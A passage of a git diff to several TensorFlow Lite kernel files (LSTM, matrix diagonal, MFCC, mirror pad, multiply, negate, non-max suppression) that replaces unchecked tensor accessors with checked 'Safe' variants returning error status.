@@ -1957,12 +2074,24 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
       } else {
         const int num_intermediate_tensors = node->intermediates->size;
         if (num_intermediate_tensors == 5) {
-          TfLiteTensor* scratch0 = GetTemporary(context, node, 0);
-          TfLiteTensor* scratch1 = GetTemporary(context, node, 1);
-          TfLiteTensor* scratch2 = GetTemporary(context, node, 2);
-          TfLiteTensor* scratch3 = GetTemporary(context, node, 3);
-          TfLiteTensor* scratch4 = GetTemporary(context, node, 4);
-          TfLiteTensor* scratch5 = GetTemporary(context, node, 5);
+          TfLiteTensor* scratch0;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 0, &scratch0));
+          TfLiteTensor* scratch1;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 1, &scratch1));
+          TfLiteTensor* scratch2;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 2, &scratch2));
+          TfLiteTensor* scratch3;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 3, &scratch3));
+          TfLiteTensor* scratch4;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 4, &scratch4));
+          TfLiteTensor* scratch5;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 5, &scratch5));
           return lstm_eval::EvalInteger8x8_16(
               input, input_to_input_weights, input_to_forget_weights,
               input_to_cell_weights, input_to_output_weights,
@@ -1978,14 +2107,30 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
               scratch3, scratch4, scratch5,
               CpuBackendContext::GetFromContext(context));
         } else {
-          TfLiteTensor* scratch0 = GetTemporary(context, node, 0);
-          TfLiteTensor* scratch1 = GetTemporary(context, node, 1);
-          TfLiteTensor* scratch2 = GetTemporary(context, node, 2);
-          TfLiteTensor* scratch3 = GetTemporary(context, node, 3);
-          TfLiteTensor* scratch4 = GetTemporary(context, node, 4);
-          TfLiteTensor* scratch5 = GetTemporary(context, node, 5);
-          TfLiteTensor* scratch6 = GetTemporary(context, node, 6);
-          TfLiteTensor* scratch7 = GetTemporary(context, node, 7);
+          TfLiteTensor* scratch0;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 0, &scratch0));
+          TfLiteTensor* scratch1;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 1, &scratch1));
+          TfLiteTensor* scratch2;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 2, &scratch2));
+          TfLiteTensor* scratch3;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 3, &scratch3));
+          TfLiteTensor* scratch4;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 4, &scratch4));
+          TfLiteTensor* scratch5;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 5, &scratch5));
+          TfLiteTensor* scratch6;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 6, &scratch6));
+          TfLiteTensor* scratch7;
+          TF_LITE_ENSURE_OK(context,
+                            GetTemporarySafe(context, node, 7, &scratch7));
           return lstm_eval::EvalInteger8x8_8(
               input, input_to_input_weights, input_to_forget_weights,
               input_to_cell_weights, input_to_output_weights,
@@ -2046,12 +2191,19 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE(context, node->inputs->size == kInputNum);
   TF_LITE_ENSURE(context, node->outputs->size == kOutputNum);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputData);
-  const TfLiteTensor* prev_activation =
-      GetInput(context, node, kInputPrevActivation);
-  const TfLiteTensor* weights = GetInput(context, node, kInputWeights);
-  const TfLiteTensor* bias = GetInput(context, node, kInputBiases);
-  const TfLiteTensor* prev_state = GetInput(context, node, kInputPrevState);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputData, &input));
+  const TfLiteTensor* prev_activation;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputPrevActivation,
+                                          &prev_activation));
+  const TfLiteTensor* weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputWeights, &weights));
+  const TfLiteTensor* bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputBiases, &bias));
+  const TfLiteTensor* prev_state;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputPrevState, &prev_state));
 
   TF_LITE_ENSURE_EQ(context, input->dims->size, 2);
   const int num_batches = input->dims->data[0];
@@ -2073,11 +2225,18 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, prev_state->dims->data[0], num_batches);
   TF_LITE_ENSURE_EQ(context, prev_state->dims->data[1], activation_depth);
 
-  TfLiteTensor* activation_out = GetOutput(context, node, kOutputActivation);
-  TfLiteTensor* state_out = GetOutput(context, node, kOutputState);
-  TfLiteTensor* concat_temp = GetOutput(context, node, kOutputConcatTemp);
-  TfLiteTensor* activation_temp =
-      GetOutput(context, node, kOutputActivationTemp);
+  TfLiteTensor* activation_out;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, kOutputActivation,
+                                           &activation_out));
+  TfLiteTensor* state_out;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputState, &state_out));
+  TfLiteTensor* concat_temp;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, kOutputConcatTemp, &concat_temp));
+  TfLiteTensor* activation_temp;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, kOutputActivationTemp,
+                                           &activation_temp));
 
   TF_LITE_ENSURE_OK(context, context->ResizeTensor(
                                  context, activation_out,
@@ -2106,18 +2265,32 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputData);
-  const TfLiteTensor* prev_activation =
-      GetInput(context, node, kInputPrevActivation);
-  const TfLiteTensor* weights = GetInput(context, node, kInputWeights);
-  const TfLiteTensor* bias = GetInput(context, node, kInputBiases);
-  const TfLiteTensor* prev_state = GetInput(context, node, kInputPrevState);
-
-  TfLiteTensor* activation_out = GetOutput(context, node, kOutputActivation);
-  TfLiteTensor* state_out = GetOutput(context, node, kOutputState);
-  TfLiteTensor* concat_temp = GetOutput(context, node, kOutputConcatTemp);
-  TfLiteTensor* activation_temp =
-      GetOutput(context, node, kOutputActivationTemp);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputData, &input));
+  const TfLiteTensor* prev_activation;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputPrevActivation,
+                                          &prev_activation));
+  const TfLiteTensor* weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputWeights, &weights));
+  const TfLiteTensor* bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputBiases, &bias));
+  const TfLiteTensor* prev_state;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputPrevState, &prev_state));
+
+  TfLiteTensor* activation_out;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, kOutputActivation,
+                                           &activation_out));
+  TfLiteTensor* state_out;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputState, &state_out));
+  TfLiteTensor* concat_temp;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, kOutputConcatTemp, &concat_temp));
+  TfLiteTensor* activation_temp;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, kOutputActivationTemp,
+                                           &activation_temp));
 
   if (input->type == kTfLiteFloat32 &&
       prev_activation->type == kTfLiteFloat32 &&
diff --git a/tensorflow/lite/kernels/matrix_diag.cc b/tensorflow/lite/kernels/matrix_diag.cc
index c921650926f1f5..ce3219ed28160c 100644
--- a/tensorflow/lite/kernels/matrix_diag.cc
+++ b/tensorflow/lite/kernels/matrix_diag.cc
@@ -32,12 +32,15 @@ constexpr int kOutputTensor = 0;
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   TfLiteIntArray* input_dims = input->dims;
   int input_dims_size = input_dims->size;
   TF_LITE_ENSURE(context, input_dims_size >= 1);
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   // Resize the output tensor.
   TfLiteIntArray* output_shape = TfLiteIntArrayCreate(input_dims_size + 1);
   for (int i = 0; i < input_dims_size; i++) {
@@ -116,8 +119,11 @@ void FillDiagHelper(const TfLiteTensor* input, TfLiteTensor* output) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   FillDiagHelper(input, output);
   return kTfLiteOk;
 }
diff --git a/tensorflow/lite/kernels/matrix_set_diag.cc b/tensorflow/lite/kernels/matrix_set_diag.cc
index e9c17f985d3700..514892e8de330e 100644
--- a/tensorflow/lite/kernels/matrix_set_diag.cc
+++ b/tensorflow/lite/kernels/matrix_set_diag.cc
@@ -33,12 +33,15 @@ constexpr int kOutputTensor = 0;
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
   TfLiteIntArray* input_dims = input->dims;
   int input_dims_size = input_dims->size;
   TF_LITE_ENSURE(context, input_dims_size >= 2);
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TfLiteIntArray* output_shape = TfLiteIntArrayCreate(input_dims_size);
   for (int i = 0; i < input_dims_size; i++) {
@@ -126,9 +129,14 @@ void FillDiagHelper(const TfLiteTensor* input, const TfLiteTensor* diag,
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* diag = GetInput(context, node, kDiagonalTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* diag;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kDiagonalTensor, &diag));
   FillDiagHelper(input, diag, output);
   return kTfLiteOk;
 }
diff --git a/tensorflow/lite/kernels/mfcc.cc b/tensorflow/lite/kernels/mfcc.cc
index a3bf5baafaaaf6..28c185e13a2e9a 100644
--- a/tensorflow/lite/kernels/mfcc.cc
+++ b/tensorflow/lite/kernels/mfcc.cc
@@ -73,9 +73,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input_wav = GetInput(context, node, kInputTensorWav);
-  const TfLiteTensor* input_rate = GetInput(context, node, kInputTensorRate);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input_wav;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorWav, &input_wav));
+  const TfLiteTensor* input_rate;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorRate, &input_rate));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_EQ(context, NumDimensions(input_wav), 3);
   TF_LITE_ENSURE_EQ(context, NumElements(input_rate), 1);
@@ -101,9 +107,15 @@ template <KernelType kernel_type>
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLiteMfccParams*>(node->user_data);
 
-  const TfLiteTensor* input_wav = GetInput(context, node, kInputTensorWav);
-  const TfLiteTensor* input_rate = GetInput(context, node, kInputTensorRate);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input_wav;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorWav, &input_wav));
+  const TfLiteTensor* input_rate;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorRate, &input_rate));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   const int32 sample_rate = *GetTensorData<int>(input_rate);
 
diff --git a/tensorflow/lite/kernels/mirror_pad.cc b/tensorflow/lite/kernels/mirror_pad.cc
index 8f4f02f7848f60..f5427d193c723c 100644
--- a/tensorflow/lite/kernels/mirror_pad.cc
+++ b/tensorflow/lite/kernels/mirror_pad.cc
@@ -162,8 +162,10 @@ struct MirrorPadWorkerTask : cpu_backend_threadpool::Task {
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   ruy::profiler::ScopeLabel label("MirrorPad");
-  const TfLiteTensor* input_tensor = GetInput(context, node, 0);
-  const TfLiteTensor* padding_matrix = GetInput(context, node, 1);
+  const TfLiteTensor* input_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input_tensor));
+  const TfLiteTensor* padding_matrix;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &padding_matrix));
   auto* params =
       reinterpret_cast<TfLiteMirrorPaddingParams*>(node->builtin_data);
 
@@ -172,7 +174,8 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   }
   const int input_dims = NumDimensions(input_tensor);
 
-  TfLiteTensor* output_tensor = GetOutput(context, node, 0);
+  TfLiteTensor* output_tensor;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output_tensor));
   if (IsDynamicTensor(output_tensor)) {
     auto output_size = GetPaddedOutputShape(input_tensor, padding_matrix);
     if (output_size == nullptr) {
@@ -258,9 +261,12 @@ void* Init(TfLiteContext* context, const char* buffer, size_t length) {
 void Free(TfLiteContext* context, void* buffer) {}
 
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input_tensor = GetInput(context, node, 0);
-  const TfLiteTensor* padding_matrix = GetInput(context, node, 1);
-  TfLiteTensor* output_tensor = GetOutput(context, node, 0);
+  const TfLiteTensor* input_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input_tensor));
+  const TfLiteTensor* padding_matrix;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 1, &padding_matrix));
+  TfLiteTensor* output_tensor;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output_tensor));
 
   TF_LITE_ENSURE_EQ(context, NumDimensions(padding_matrix), 2);
   TF_LITE_ENSURE_EQ(context, SizeOfDimension(padding_matrix, 0),
diff --git a/tensorflow/lite/kernels/mul.cc b/tensorflow/lite/kernels/mul.cc
index 5c34c9c7199d42..1b3f25dec6dfcd 100644
--- a/tensorflow/lite/kernels/mul.cc
+++ b/tensorflow/lite/kernels/mul.cc
@@ -75,9 +75,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_TYPES_EQ(context, input1->type, input2->type);
 
@@ -259,9 +265,15 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   auto* params = reinterpret_cast<TfLiteMulParams*>(node->builtin_data);
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
 
-  const TfLiteTensor* input1 = GetInput(context, node, kInputTensor1);
-  const TfLiteTensor* input2 = GetInput(context, node, kInputTensor2);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input1;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor1, &input1));
+  const TfLiteTensor* input2;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensor2, &input2));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (output->type == kTfLiteFloat32 || output->type == kTfLiteInt32) {
     EvalMul<kernel_type>(context, node, params, data, input1, input2, output);
diff --git a/tensorflow/lite/kernels/neg.cc b/tensorflow/lite/kernels/neg.cc
index 4a4ce8fcbd599c..befcb2d03e316c 100644
--- a/tensorflow/lite/kernels/neg.cc
+++ b/tensorflow/lite/kernels/neg.cc
@@ -34,8 +34,11 @@ constexpr int kOutputTensor = 0;
 TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   output->type = input->type;
   return context->ResizeTensor(context, output,
@@ -43,8 +46,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   switch (input->type) {
     case kTfLiteInt64:
       reference_ops::Negate(
diff --git a/tensorflow/lite/kernels/non_max_suppression.cc b/tensorflow/lite/kernels/non_max_suppression.cc
index d6e13cdbd33630..70f80e68cd0297 100644
--- a/tensorflow/lite/kernels/non_max_suppression.cc
+++ b/tensorflow/lite/kernels/non_max_suppression.cc
@@ -79,20 +79,25 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   }
 
   // Boxes & Scores.
-  const TfLiteTensor* input_boxes = GetInput(context, node, kInputTensorBoxes);
+  const TfLiteTensor* input_boxes;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kInputTensorBoxes, &input_boxes));
   TF_LITE_ENSURE_EQ(context, input_boxes->type, kTfLiteFloat32);
   TF_LITE_ENSURE_EQ(context, NumDimensions(input_boxes), 2);
   TF_LITE_ENSURE_EQ(context, SizeOfDimension(input_boxes, 1), 4);
   const int num_boxes = SizeOfDimension(input_boxes, 0);
-  const TfLiteTensor* input_scores =
-      GetInput(context, node, kInputTensorScores);
+  const TfLiteTensor* input_scores;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kInputTensorScores, &input_scores));
   TF_LITE_ENSURE_EQ(context, input_scores->type, kTfLiteFloat32);
   TF_LITE_ENSURE_EQ(context, NumDimensions(input_scores), 1);
   TF_LITE_ENSURE_EQ(context, num_boxes, SizeOfDimension(input_scores, 0));
 
   // Max output size.
-  const TfLiteTensor* input_max_output_size =
-      GetInput(context, node, kInputTensorMaxOutputSize);
+  const TfLiteTensor* input_max_output_size;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorMaxOutputSize,
+                                 &input_max_output_size));
   TF_LITE_ENSURE_EQ(context, input_max_output_size->type, kTfLiteInt32);
   TF_LITE_ENSURE_EQ(context, NumDimensions(input_max_output_size), 0);
   const bool is_max_output_size_const = IsConstantTensor(input_max_output_size);
@@ -103,30 +108,43 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   }
 
   // IoU & Score thresholds.
-  const TfLiteTensor* input_iou_threshold =
-      GetInput(context, node, kInputTensorIouThreshold);
+  const TfLiteTensor* input_iou_threshold;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorIouThreshold,
+                                 &input_iou_threshold));
   TF_LITE_ENSURE_EQ(context, input_iou_threshold->type, kTfLiteFloat32);
   TF_LITE_ENSURE_EQ(context, NumDimensions(input_iou_threshold), 0);
-  const TfLiteTensor* input_score_threshold =
-      GetInput(context, node, kInputTensorScoreThreshold);
+  const TfLiteTensor* input_score_threshold;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorScoreThreshold,
+                                 &input_score_threshold));
   TF_LITE_ENSURE_EQ(context, input_iou_threshold->type, kTfLiteFloat32);
   TF_LITE_ENSURE_EQ(context, NumDimensions(input_score_threshold), 0);
 
   if (is_soft_nms) {
-    const TfLiteTensor* input_sigma =
-        GetInput(context, node, kInputTensorSigma);
+    const TfLiteTensor* input_sigma;
+    TF_LITE_ENSURE_OK(
+        context, GetInputSafe(context, node, kInputTensorSigma, &input_sigma));
     TF_LITE_ENSURE_EQ(context, input_sigma->type, kTfLiteFloat32);
     TF_LITE_ENSURE_EQ(context, NumDimensions(input_sigma), 0);
 
     TF_LITE_ENSURE_EQ(context, NumOutputs(node), 3);
-    TfLiteTensor* output_selected_indices =
-        GetOutput(context, node, kSoftNMSOutputTensorSelectedIndices);
+    TfLiteTensor* output_selected_indices;
+    TF_LITE_ENSURE_OK(
+        context,
+        GetOutputSafe(context, node, kSoftNMSOutputTensorSelectedIndices,
+                      &output_selected_indices));
     output_selected_indices->type = kTfLiteInt32;
-    TfLiteTensor* output_selected_scores =
-        GetOutput(context, node, kSoftNMSOutputTensorSelectedScores);
+    TfLiteTensor* output_selected_scores;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,
+                                             kSoftNMSOutputTensorSelectedScores,
+                                             &output_selected_scores));
     output_selected_scores->type = kTfLiteFloat32;
-    TfLiteTensor* output_num_selected_indices =
-        GetOutput(context, node, kSoftNMSOutputTensorNumSelectedIndices);
+    TfLiteTensor* output_num_selected_indices;
+    TF_LITE_ENSURE_OK(
+        context,
+        GetOutputSafe(context, node, kSoftNMSOutputTensorNumSelectedIndices,
+                      &output_num_selected_indices));
     output_num_selected_indices->type = kTfLiteInt32;
     SetTensorSizes(context, output_num_selected_indices, {});
 
@@ -139,11 +157,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
   } else {
     TF_LITE_ENSURE_EQ(context, NumOutputs(node), 2);
-    TfLiteTensor* output_selected_indices =
-        GetOutput(context, node, kNMSOutputTensorSelectedIndices);
+    TfLiteTensor* output_selected_indices;
+    TF_LITE_ENSURE_OK(
+        context, GetOutputSafe(context, node, kNMSOutputTensorSelectedIndices,
+                               &output_selected_indices));
     output_selected_indices->type = kTfLiteInt32;
-    TfLiteTensor* output_num_selected_indices =
-        GetOutput(context, node, kNMSOutputTensorNumSelectedIndices);
+    TfLiteTensor* output_num_selected_indices;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,
+                                             kNMSOutputTensorNumSelectedIndices,
+                                             &output_num_selected_indices));
     output_num_selected_indices->type = kTfLiteInt32;
     SetTensorSizes(context, output_num_selected_indices, {});
 
@@ -179,20 +201,29 @@ void ResetUnusedElementsToZeroes(const int max_output_size,
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   const bool is_soft_nms = NumInputs(node) == 6;
 
-  const TfLiteTensor* input_boxes = GetInput(context, node, kInputTensorBoxes);
+  const TfLiteTensor* input_boxes;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kInputTensorBoxes, &input_boxes));
   const int num_boxes = SizeOfDimension(input_boxes, 0);
-  const TfLiteTensor* input_scores =
-      GetInput(context, node, kInputTensorScores);
-  const TfLiteTensor* input_max_output_size =
-      GetInput(context, node, kInputTensorMaxOutputSize);
+  const TfLiteTensor* input_scores;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kInputTensorScores, &input_scores));
+  const TfLiteTensor* input_max_output_size;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorMaxOutputSize,
+                                 &input_max_output_size));
   const int max_output_size_value = *GetTensorData<int>(input_max_output_size);
   TF_LITE_ENSURE(context, (max_output_size_value >= 0));
   const bool is_max_output_size_const = IsConstantTensor(input_max_output_size);
-  const TfLiteTensor* input_iou_threshold =
-      GetInput(context, node, kInputTensorIouThreshold);
+  const TfLiteTensor* input_iou_threshold;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorIouThreshold,
+                                 &input_iou_threshold));
   const float iou_threshold = *GetTensorData<float>(input_iou_threshold);
-  const TfLiteTensor* input_score_threshold =
-      GetInput(context, node, kInputTensorScoreThreshold);
+  const TfLiteTensor* input_score_threshold;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputTensorScoreThreshold,
+                                 &input_score_threshold));
   const float score_threshold = *GetTensorData<float>(input_score_threshold);
 
   TfLiteTensor* output_selected_indices = nullptr;
@@ -200,8 +231,9 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   TfLiteTensor* output_num_selected_indices = nullptr;
 
   if (is_soft_nms) {
-    const TfLiteTensor* input_sigma =
-        GetInput(context, node, kInputTensorSigma);
+    const TfLiteTensor* input_sigma;
+    TF_LITE_ENSURE_OK(
+        context, GetInputSafe(context, node, kInputTensorSigma, &input_sigma));
     const float soft_nms_sigma = *GetTensorData<float>(input_sigma);
     if (soft_nms_sigma < 0) {
       context->ReportError(context, "Invalid sigma value for soft NMS: %f",
@@ -209,12 +241,17 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
       return kTfLiteError;
     }
 
-    output_selected_indices =
-        GetOutput(context, node, kSoftNMSOutputTensorSelectedIndices);
-    output_selected_scores =
-        GetOutput(context, node, kSoftNMSOutputTensorSelectedScores);
-    output_num_selected_indices =
-        GetOutput(context, node, kSoftNMSOutputTensorNumSelectedIndices);
+    TF_LITE_ENSURE_OK(
+        context,
+        GetOutputSafe(context, node, kSoftNMSOutputTensorSelectedIndices,
+                      &output_selected_indices));
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,
+                                             kSoftNMSOutputTensorSelectedScores,
+                                             &output_selected_scores));
+    TF_LITE_ENSURE_OK(
+        context,
+        GetOutputSafe(context, node, kSoftNMSOutputTensorNumSelectedIndices,
+                      &output_num_selected_indices));
     if (!is_max_output_size_const) {
       SetTensorSizes(context, output_selected_indices, {max_output_size_value});
       SetTensorSizes(context, output_selected_scores, {max_output_size_value});
@@ -228,10 +265,12 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
         max_output_size_value, *output_num_selected_indices->data.i32,
         output_selected_indices->data.i32, output_selected_scores->data.f);
   } else {
-    output_selected_indices =
-        GetOutput(context, node, kNMSOutputTensorSelectedIndices);
-    output_num_selected_indices =
-        GetOutput(context, node, kNMSOutputTensorNumSelectedIndices);
+    TF_LITE_ENSURE_OK(
+        context, GetOutputSafe(context, node, kNMSOutputTensorSelectedIndices,
+                               &output_selected_indices));
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,
+                                             kNMSOutputTensorNumSelectedIndices,
+                                             &output_num_selected_indices));
     if (!is_max_output_size_const) {
       SetTensorSizes(context, output_selected_indices, {max_output_size_value});
     }
diff --git a/tensorflow/lite/kernels/numeric_verify.cc b/tensorflow/lite/kernels/numeric_verify.cc
index bbd2448ece0246..5b4011f6649607 100644
--- a/tensorflow/lite/kernels/numeric_verify.cc
+++ b/tensorflow/lite/kernels/numeric_verify.cc
@@ -109,7 +109,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
